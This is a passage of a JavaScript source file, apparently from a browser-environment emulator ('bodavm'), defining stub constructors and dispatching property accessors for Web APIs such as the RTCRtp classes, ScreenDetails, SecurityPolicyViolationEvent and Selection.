enumerable:true, writable:true, value:function createEncodedStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "createEncodedStreams", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getContributingSources", {configurable:true, enumerable:true, writable:true, value:function getContributingSources (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getContributingSources", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getParameters", {configurable:true, enumerable:true, writable:true, value:function getParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getStats", {configurable:true, enumerable:true, writable:true, value:function getStats (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getStats", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpReceiver', "getSynchronizationSources", {configurable:true, enumerable:true, writable:true, value:function getSynchronizationSources (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpReceiver'].prototype, "RTCRtpReceiver", "getSynchronizationSources", arguments)}},'prototype'); - -// RTCRtpSender对象 -bodavm.memory.globalobj['RTCRtpSender'] = function RTCRtpSender(){if (!(this instanceof RTCRtpSender)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpSender'], "RTCRtpSender"); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "getCapabilities", {configurable:true, enumerable:true, writable:true, value:function getCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].undefined, "RTCRtpSender", "getCapabilities", arguments)}}); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "transport", {configurable:true, enumerable:true, get:function transport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "transport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "rtcpTransport", {configurable:true, enumerable:true, get:function rtcpTransport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "rtcpTransport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "dtmf", {configurable:true, enumerable:true, get:function dtmf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "dtmf_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "createEncodedStreams", {configurable:true, enumerable:true, writable:true, value:function createEncodedStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "createEncodedStreams", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "getParameters", {configurable:true, enumerable:true, writable:true, value:function getParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "getParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "getStats", {configurable:true, enumerable:true, writable:true, value:function getStats (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "getStats", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "replaceTrack", {configurable:true, enumerable:true, writable:true, value:function replaceTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "replaceTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "setParameters", {configurable:true, enumerable:true, writable:true, value:function setParameters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "setParameters", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpSender', "setStreams", {configurable:true, enumerable:true, writable:true, value:function setStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpSender'].prototype, "RTCRtpSender", "setStreams", arguments)}},'prototype'); - -// RTCRtpTransceiver对象 -bodavm.memory.globalobj['RTCRtpTransceiver'] = function RTCRtpTransceiver(){if (!(this instanceof RTCRtpTransceiver)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCRtpTransceiver'], "RTCRtpTransceiver"); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "mid", {configurable:true, enumerable:true, get:function mid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "mid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "sender", {configurable:true, enumerable:true, get:function sender (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "sender_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "receiver", {configurable:true, enumerable:true, get:function receiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "receiver_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "stopped", {configurable:true, enumerable:true, get:function stopped (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "stopped_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "direction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "currentDirection", {configurable:true, enumerable:true, get:function currentDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "currentDirection_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "setCodecPreferences", {configurable:true, enumerable:true, writable:true, value:function setCodecPreferences (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "setCodecPreferences", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCRtpTransceiver', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCRtpTransceiver'].prototype, "RTCRtpTransceiver", "stop", arguments)}},'prototype'); - -// RTCSctpTransport对象 -bodavm.memory.globalobj['RTCSctpTransport'] = function RTCSctpTransport(){if (!(this instanceof RTCSctpTransport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCSctpTransport'], "RTCSctpTransport"); -bodavm.memory.globalobj['RTCSctpTransport'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCSctpTransport'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "transport", {configurable:true, enumerable:true, get:function transport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "transport_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "maxMessageSize", {configurable:true, enumerable:true, get:function maxMessageSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "maxMessageSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "maxChannels", {configurable:true, enumerable:true, get:function maxChannels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "maxChannels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCSctpTransport', "onstatechange", {configurable:true, enumerable:true, get:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "onstatechange_get", arguments)}, set:function onstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCSctpTransport'].prototype, "RTCSctpTransport", "onstatechange_set", arguments)}},'prototype'); - -// RTCStatsReport对象 -bodavm.memory.globalobj['RTCStatsReport'] = function RTCStatsReport(){if (!(this instanceof RTCStatsReport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCStatsReport'], "RTCStatsReport"); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCStatsReport', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCStatsReport'].prototype, "RTCStatsReport", "values", arguments)}},'prototype'); - -// RTCTrackEvent对象 -bodavm.memory.globalobj['RTCTrackEvent'] = function RTCTrackEvent(){if (!(this instanceof RTCTrackEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'RTCTrackEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCTrackEvent'], "RTCTrackEvent"); -bodavm.memory.globalobj['RTCTrackEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['RTCTrackEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('RTCTrackEvent', "receiver", {configurable:true, enumerable:true, get:function receiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "receiver_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCTrackEvent', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCTrackEvent', "streams", {configurable:true, enumerable:true, get:function streams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "streams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCTrackEvent', "transceiver", {configurable:true, enumerable:true, get:function transceiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCTrackEvent'].prototype, "RTCTrackEvent", "transceiver_get", arguments)}, set:undefined},'prototype'); - -// Sanitizer对象 -bodavm.memory.globalobj['Sanitizer'] = function Sanitizer(){this._boarg= new bodaobj.window.Sanitizer();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Sanitizer'], "Sanitizer"); -bodavm.toolsFunc.defineProperty('Sanitizer', "getDefaultConfiguration", {configurable:true, enumerable:true, writable:true, value:function getDefaultConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sanitizer'].undefined, "Sanitizer", "getDefaultConfiguration", arguments)}}); -bodavm.toolsFunc.defineProperty('Sanitizer', "getConfiguration", {configurable:true, enumerable:true, writable:true, value:function getConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Sanitizer'].prototype, "Sanitizer", "getConfiguration", arguments)}},'prototype'); - -// Scheduling对象 -bodavm.memory.globalobj['Scheduling'] = function Scheduling(){if (!(this instanceof Scheduling)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Scheduling'], "Scheduling"); -bodavm.toolsFunc.defineProperty('Scheduling', "isInputPending", {configurable:true, enumerable:true, writable:true, value:function isInputPending (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Scheduling'].prototype, "Scheduling", "isInputPending", arguments)}},'prototype'); - -// ScreenDetailed对象 -bodavm.memory.globalobj['ScreenDetailed'] = function ScreenDetailed(){if (!(this instanceof ScreenDetailed)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenDetailed'], "ScreenDetailed"); -bodavm.memory.globalobj['ScreenDetailed'].prototype.__proto__=bodavm.memory.globalobj['Screen'].prototype; -bodavm.memory.globalobj['ScreenDetailed'].__proto__=bodavm.memory.globalobj['Screen']; -bodavm.toolsFunc.defineProperty('ScreenDetailed', "left", {configurable:true, enumerable:true, get:function left (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "left_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "top", {configurable:true, enumerable:true, get:function top (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "top_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "isPrimary", {configurable:true, enumerable:true, get:function isPrimary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "isPrimary_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "isInternal", {configurable:true, enumerable:true, get:function isInternal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "isInternal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "devicePixelRatio", {configurable:true, enumerable:true, get:function devicePixelRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "devicePixelRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetailed', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetailed'].prototype, "ScreenDetailed", "label_get", arguments)}, set:undefined},'prototype'); - -// ScreenDetails对象 -bodavm.memory.globalobj['ScreenDetails'] = function ScreenDetails(){if (!(this instanceof ScreenDetails)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScreenDetails'], "ScreenDetails"); -bodavm.memory.globalobj['ScreenDetails'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['ScreenDetails'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('ScreenDetails', "screens", {configurable:true, enumerable:true, get:function screens (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "screens_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetails', "currentScreen", {configurable:true, enumerable:true, get:function currentScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "currentScreen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetails', "onscreenschange", {configurable:true, enumerable:true, get:function onscreenschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "onscreenschange_get", arguments)}, set:function onscreenschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "onscreenschange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ScreenDetails', "oncurrentscreenchange", {configurable:true, enumerable:true, get:function oncurrentscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "oncurrentscreenchange_get", arguments)}, set:function oncurrentscreenchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScreenDetails'].prototype, "ScreenDetails", "oncurrentscreenchange_set", arguments)}},'prototype'); - -// screenLeft对象 -bodavm.memory.globalobj['screenLeft'] = { - _boisinit:bodavm.config.isinit - } - -// screenTop对象 -bodavm.memory.globalobj['screenTop'] = { - _boisinit:bodavm.config.isinit - } - -// screenX对象 -bodavm.memory.globalobj['screenX'] = { - _boisinit:bodavm.config.isinit - } - -// screenY对象 -bodavm.memory.globalobj['screenY'] = { - _boisinit:bodavm.config.isinit - } - -// ScriptProcessorNode对象 -bodavm.memory.globalobj['ScriptProcessorNode'] = function ScriptProcessorNode(){if (!(this instanceof ScriptProcessorNode)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ScriptProcessorNode'], "ScriptProcessorNode"); -bodavm.memory.globalobj['ScriptProcessorNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['ScriptProcessorNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('ScriptProcessorNode', "onaudioprocess", {configurable:true, enumerable:true, get:function onaudioprocess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "onaudioprocess_get", arguments)}, set:function onaudioprocess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "onaudioprocess_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ScriptProcessorNode', "bufferSize", {configurable:true, enumerable:true, get:function bufferSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ScriptProcessorNode'].prototype, "ScriptProcessorNode", "bufferSize_get", arguments)}, set:undefined},'prototype'); - -// scroll对象 -bodavm.memory.globalobj['scroll'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('scroll', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('scroll', "name", {configurable:true, enumerable:false, writable:false, value:"scroll"}); - -// scrollbars对象 -bodavm.memory.globalobj['scrollbars'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['scrollbars'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; - -// scrollBy对象 -bodavm.memory.globalobj['scrollBy'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('scrollBy', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('scrollBy', "name", {configurable:true, enumerable:false, writable:false, value:"scrollBy"}); - -// scrollTo对象 -bodavm.memory.globalobj['scrollTo'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('scrollTo', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('scrollTo', "name", {configurable:true, enumerable:false, writable:false, value:"scrollTo"}); - -// scrollX对象 -bodavm.memory.globalobj['scrollX'] = { - _boisinit:bodavm.config.isinit - } - -// scrollY对象 -bodavm.memory.globalobj['scrollY'] = { - _boisinit:bodavm.config.isinit - } - -// SecurityPolicyViolationEvent对象 -bodavm.memory.globalobj['SecurityPolicyViolationEvent'] = function SecurityPolicyViolationEvent(){if (!(this instanceof SecurityPolicyViolationEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'SecurityPolicyViolationEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SecurityPolicyViolationEvent'], "SecurityPolicyViolationEvent"); -bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['SecurityPolicyViolationEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "documentURI", {configurable:true, enumerable:true, get:function documentURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "documentURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "referrer", {configurable:true, enumerable:true, get:function referrer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "referrer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "blockedURI", {configurable:true, enumerable:true, get:function blockedURI (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "blockedURI_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "violatedDirective", {configurable:true, enumerable:true, get:function violatedDirective (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "violatedDirective_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "effectiveDirective", {configurable:true, enumerable:true, get:function effectiveDirective (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "effectiveDirective_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "originalPolicy", {configurable:true, enumerable:true, get:function originalPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "originalPolicy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "disposition", {configurable:true, enumerable:true, get:function disposition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "disposition_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "sourceFile", {configurable:true, enumerable:true, get:function sourceFile (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "sourceFile_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "statusCode", {configurable:true, enumerable:true, get:function statusCode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "statusCode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "lineNumber", {configurable:true, enumerable:true, get:function lineNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "lineNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "columnNumber", {configurable:true, enumerable:true, get:function columnNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "columnNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SecurityPolicyViolationEvent', "sample", {configurable:true, enumerable:true, get:function sample (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SecurityPolicyViolationEvent'].prototype, "SecurityPolicyViolationEvent", "sample_get", arguments)}, set:undefined},'prototype'); - -// Selection对象 -bodavm.memory.globalobj['Selection'] = function Selection(){if (!(this instanceof Selection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Selection'], "Selection"); -bodavm.toolsFunc.defineProperty('Selection', "anchorNode", {configurable:true, enumerable:true, get:function anchorNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "anchorNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "anchorOffset", {configurable:true, enumerable:true, get:function anchorOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "anchorOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "focusNode", {configurable:true, enumerable:true, get:function focusNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "focusNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "focusOffset", {configurable:true, enumerable:true, get:function focusOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "focusOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "isCollapsed", {configurable:true, enumerable:true, get:function isCollapsed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "isCollapsed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "rangeCount", {configurable:true, enumerable:true, get:function rangeCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "rangeCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "baseNode", {configurable:true, enumerable:true, get:function baseNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "baseNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "baseOffset", {configurable:true, enumerable:true, get:function baseOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "baseOffset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "extentNode", {configurable:true, enumerable:true, get:function extentNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extentNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Selection', "extentOffset", {configurable:true, enumerable:true, get:function extentOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Selection'].prototype, "Selection", "extentOffset_get", 